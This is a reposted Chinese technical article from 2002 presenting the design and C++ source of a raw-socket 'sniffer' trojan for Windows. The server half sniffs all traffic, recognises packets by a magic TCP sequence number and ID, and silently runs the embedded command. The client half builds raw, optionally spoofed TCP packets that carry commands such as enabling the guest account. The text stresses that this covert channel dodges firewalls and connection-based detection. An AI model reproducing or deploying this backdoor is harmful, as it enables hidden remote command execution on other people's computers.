|
|
基于嗅探原理的原始套接字木马 |
|
|
作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站 |
基于嗅探原理的原始套接字木马
Author: Refdom Email : [email protected] (or [email protected]) HomePage: www.xfocus.org (or www.opengram.com) Date: 2002/9/14
基于嗅探原理的原始套接字木马。
首先我们说说现有木马的特点和功能。早期木马一般都是基于TCP连接的,现在这种木马的生存能力 非常有限,因为直接基于连接的木马很容易被拦截或者发现。然后有通过改变协议来实现通讯隐藏的木马, 比如采用UDP或者ICMP或者其他协议的,当然,这些协议通常对于主机来说并不常用,所以很多安全配置 上就要求尽量禁止这些协议,比如禁止ICMP,让ICMP木马没有了生存机会。反向连接或者ACK木马等非常流 行,因为表现为不是直接的由外向内的TCP连接。
当然木马还更多发展在自身的隐藏上,比如注射、核心木马等。不过该方法的重点暂不是自身进程的 隐藏,而强调在通讯方式上。
这里讲的一种实现方式是:使用基于嗅探原理的原始套接字木马。它的基本实现是:服务器端是一个 sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据 包并包括定义的命令以及接收server的数据。当server捕获到该指定特征的数据包时,变成激活状态,通 过分析该数据包,获得client发送的命令和client的IP地址,然后实现相应的命令,并将执行后的结果发 送回client,client的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字(或相应)进行。
比如:我们设置特定的协议或者ACK或者其他位及其集合为特征。
该方式的优点:完全基于非连接状态,使用原始包进行通讯,不同协议有关,可使用任意协议,可采 用任意指定的数据包形式,可实现部分的隐藏地址(如果是非交换的局域网则是可以完全的隐藏地址)、 可实现无连接反向通讯、甚至能够突破一些防火墙的监视;
缺点:不是可靠的数据连接、不稳定地执行大数据传输,对于数据流量较大的SERVER,其sniffer的效 率占很重要的地位;
以下是一个简单的演示,看起来比较象一个后门。呵呵。麻雀虽小,五脏具全。
其中定义了一个简单的木马协议,基于TCP协议基础上,使用了SEQ位来判别而不基于端口,能够执行指定的命令。
定义部分:
#define MAX_PACKET_SIZE 65536 #define SEQ_IDENTITY 12345 //验证是否符合需要的SEQ值,这个值在正常包中不会有吧! #define TROJAN_ID_IDENTITY 6789 //验证是否符合需要的trojan_id值 #define LOCAL_PORT 1234 //本地Port, 这个定义并没有实际意义 #define SERVER_PORT 80 //服务端Port, 这个定义并没有实际意义
typedef struct ip_hdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER, *PIP_HEADER;
typedef struct psd_hdr //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER;
typedef struct tcp_hdr //定义TCP首部 { unsigned short th_sport; //16位源端口 unsigned short th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flags; //6位标志位 unsigned short th_win; //16位窗口大小 unsigned short th_sum; //16位校验和 unsigned short th_urp; //16位紧急数据偏移量 }TCP_HEADER, *PTCP_HEADER;
typedef struct trojan_packet //定义木马使用的协议 { unsigned int trojan_id; //木马数据包的标识,网络顺序 unsigned short trojan_len; //执行的命令长度,主机顺序 }TROJAN_HEADER, *PTROJAN_HEADER;
/* 木马数据包的结构
------------------------------------------------------------- | IP Header | TCP Header | Trojan Header | Trojan Command -------------------------------------------------------------
包的最小程度是46字节 */
#pragma pack(pop)
SERVER部分的演示(Server.cpp):
//////////////////////////////////////////////////////////////////////////////// // // SniffTrojan // // File : Server.cpp // Comment : The Server model // // Created at : 2002.9.13 // Created by : Refdom // Email : [email protected] // Home Page : www.opengram.com // // If you modify the code, or add more functions, please email me a copy. // ////////////////////////////////////////////////////////////////////////////////
/* 木马数据包的结构
------------------------------------------------------------- | IP Header | TCP Header | Trojan Header | Trojan Command -------------------------------------------------------------
包的最小程度是46字节 */
//////////////////////////////////////////////////
void Usage();
int SniffThread();
int SendThread();
int DecodeData(char* pBuffer);
unsigned long GetLocalIP();
//////////////////////////////////////////////////
int main(int argc, char* argv[]) { WSADATA WSAData; int nRetCode = 0;
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 ) { //WSAStartup Error! printf("WSAStartup Error!%d\n", WSAGetLastError()); nRetCode = -1; return nRetCode; } //开始嗅探数据 SniffThread();
//quit WSACleanup();
return 0; }
void Usage() { printf("**************************************************\n"); printf("Demo For SniffTrojan\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: [email protected] or [email protected]\n"); printf("\t Homepage: www.xfocus.org or www.opengram.com\n"); printf("**************************************************\n"); }
int SniffThread() { int nRetCode = 0; int nRecvBytes = 0;
char* pBuffer = NULL;
SOCKET nSock = INVALID_SOCKET; SOCKADDR_IN addr_in;
DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0;
//define a raw socket nSock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (INVALID_SOCKET == nSock) { nRetCode = -1; goto Exit0; }
addr_in.sin_family = AF_INET; addr_in.sin_port = INADDR_ANY; addr_in.sin_addr.S_un.S_addr = GetLocalIP();
nRetCode = bind(nSock, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (SOCKET_ERROR == nRetCode) { printf("BIND Error!%d\n", WSAGetLastError()); goto Exit0; }
//socket for sniffer nRetCode = WSAIoctl(nSock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL ); if (SOCKET_ERROR == nRetCode) { printf("WSAIOCTL Error!%d\n", WSAGetLastError()); goto Exit0; }
//start sniffing pBuffer = (char*)malloc(MAX_PACKET_SIZE); while(1) { memset(pBuffer, 0, MAX_PACKET_SIZE);
nRecvBytes = recv(nSock, pBuffer, MAX_PACKET_SIZE, 0); if (SOCKET_ERROR == nRetCode) { printf("RECV Error!%d\n", WSAGetLastError()); goto Exit0; }
if (nRecvBytes < 46) continue; DecodeData(pBuffer); //数据解码
}
Exit0:
if (pBuffer != NULL) free(pBuffer);
if (nSock != INVALID_SOCKET) closesocket(nSock);
return nRetCode; }
//获取本地IP地址 unsigned long GetLocalIP() { char szLocalIP[20] = {0}; char szHostName[128+1] = "\0"; hostent *phe; int i; if( gethostname(szHostName, 128 ) == 0 ) { // Get host adresses phe = gethostbyname(szHostName); for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ ) { sprintf(szLocalIP, "%d.%d.%d.%d", (UINT)((UCHAR*)phe->h_addr_list[i])[0], (UINT)((UCHAR*)phe->h_addr_list[i])[1], (UINT)((UCHAR*)phe->h_addr_list[i])[2], (UINT)((UCHAR*)phe->h_addr_list[i])[3]); } } else return 0;
return inet_addr(szLocalIP); }
int DecodeData(char* pBuffer) { int nRetCode = 0; char* pCommand = NULL; unsigned short usCmdLength = 0;
PIP_HEADER pIPHeader = NULL; PTCP_HEADER pTCPHeader = NULL; PTROJAN_HEADER pTrojanHeader = NULL;
pIPHeader = (PIP_HEADER)pBuffer;
//只取TCP包 if (pIPHeader->proto != IPPROTO_TCP) goto Exit0;
pTCPHeader = (PTCP_HEADER)(pBuffer + sizeof(IP_HEADER));
//验证该TCP包是否其SEQ值符合需要 if (ntohs(pTCPHeader->th_seq) != SEQ_IDENTITY) goto Exit0;
pTrojanHeader = (PTROJAN_HEADER)(pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER));
//验证该TCP包是否是合法的木马包 if (ntohs(pTrojanHeader->trojan_id) != TROJAN_ID_IDENTITY) goto Exit0;
usCmdLength = pTrojanHeader->trojan_len; //获得命令的长度
if (0 == usCmdLength) goto Exit0;
printf("OK!\n");
pCommand = (char*)malloc(usCmdLength + 1); memset(pCommand, 0, usCmdLength + 1);
memcpy(pCommand, pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), usCmdLength);
nRetCode = WinExec(pCommand, SW_HIDE); //执行命令 if (nRetCode > 31) { //WinExec Successfully! }
Exit0:
return nRetCode; }
控制端的演示(Client.cpp):
////////////////////////////////////////////////// void Usage() { printf("**************************************************\n"); printf("Demo For SniffTrojan\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: [email protected] or [email protected]\n"); printf("\t Homepage: www.xfocus.org or www.opengram.com\n"); printf("Usage: Client.exe ServerIP Command\n"); printf("eg:Client.exe 192.168.0.2 \"net user guest /active\"\n"); printf("**************************************************\n"); } //////////////////////////////////////////////////
int main(int argc, char* argv[]) { int nRetCode = 0, nCommandLength = 0; char szDataBuf[MAX_PACKET_SIZE] = {0}; char* pCommand = NULL;
BOOL bOption; WSADATA WSAData; SOCKET nSock = INVALID_SOCKET; SOCKADDR_IN addr_in;
IP_HEADER IP_Header; TCP_HEADER TCP_Header; PSD_HEADER PSD_Header; TROJAN_HEADER Trojan_Header;
Usage();
if (argc != 3) { printf("\nArguments Error!\n"); return -1; }
//获得需要执行的命令 nCommandLength = strlen(argv[2]); pCommand = (char*)malloc(nCommandLength + 2); memset(pCommand, 0, nCommandLength + 2); memcpy(pCommand, argv[2], nCommandLength);
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0) { //WSAStartup Error! printf("WSAStartup Error!%d\n", WSAGetLastError()); nRetCode = -1; return nRetCode; }
nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (INVALID_SOCKET == nSock) { printf("SOCKET Error!%d\n", WSAGetLastError()); goto Exit0; }
nRetCode = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption)); if (SOCKET_ERROR == nRetCode) { printf("SetSockOpt Error!%d\n", WSAGetLastError()); goto Exit0; }
//填充IP首部 IP_Header.h_verlen = (4 << 4) | (sizeof(IP_HEADER) / sizeof(unsigned long)); IP_Header.tos = 0; IP_Header.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER)); IP_Header.frag_and_flags = 0; IP_Header.ttl = 128; IP_Header.proto = IPPROTO_TCP; IP_Header.checksum = 0; IP_Header.sourceIP = GetLocalIP(); //当然可以伪造自己的地址 IP_Header.destIP = inet_addr(argv[1]); //服务器端IP地址,如果是非交换网络,那么可以不是服务器的地址,而设置一个同网
段或者同HUB的地址。
//填充TCP首部 TCP_Header.th_sport = htons(LOCAL_PORT); //这个端口没有实际意义,倒是可以躲开防火墙 TCP_Header.th_dport = htons(SERVER_PORT); //这个端口没有实际意义,倒是可以躲开防火墙 TCP_Header.th_seq = htons(SEQ_IDENTITY); //木马服务器端的识别标志 TCP_Header.th_ack = 345678; TCP_Header.th_lenres = (sizeof(TCP_HEADER)/4<<4|0); TCP_Header.th_flags = 0x01; //随意设置TCP标志位 TCP_Header.th_win = 12345; TCP_Header.th_urp = 0; TCP_Header.th_sum = 0;
//填充木马协议的头部 Trojan_Header.trojan_id = htons(TROJAN_ID_IDENTITY); Trojan_Header.trojan_len = nCommandLength;
//填充TCP伪首部(用于计算校验和) PSD_Header.saddr = IP_Header.sourceIP; PSD_Header.daddr = IP_Header.destIP; PSD_Header.mbz = 0; PSD_Header.ptcl = IPPROTO_TCP; PSD_Header.tcpl = htons(sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength);
//计算TCP校验和 memcpy(szDataBuf, &PSD_Header, sizeof(PSD_HEADER)); memcpy(szDataBuf + sizeof(PSD_HEADER), &TCP_Header, sizeof(TCP_HEADER)); memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER)); memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength); TCP_Header.th_sum = CheckSum((unsigned short *)szDataBuf, sizeof(PSD_HEADER) + sizeof(TCP_HEADER) +
sizeof(TROJAN_HEADER) + nCommandLength);
//填充发送缓冲区 memcpy(szDataBuf, &IP_Header, sizeof(IP_HEADER)); memcpy(szDataBuf + sizeof(IP_HEADER), &TCP_Header, sizeof(TCP_HEADER)); memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER)); memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);
addr_in.sin_family = AF_INET; addr_in.sin_port = htons(LOCAL_PORT); addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);
//发送命令 printf("Start to send command...\n"); nRetCode = sendto(nSock, szDataBuf, sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength, 0, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (SOCKET_ERROR == nRetCode) { printf("Sendto Error!%d\n", WSAGetLastError()); goto Exit0; }
printf("Send OK!\n");
Exit0:
if (pCommand != NULL) free(pCommand);
if (nSock != INVALID_SOCKET) closesocket(nSock); WSACleanup();
return 0; } 
|
|
相关文章:相关软件: |
|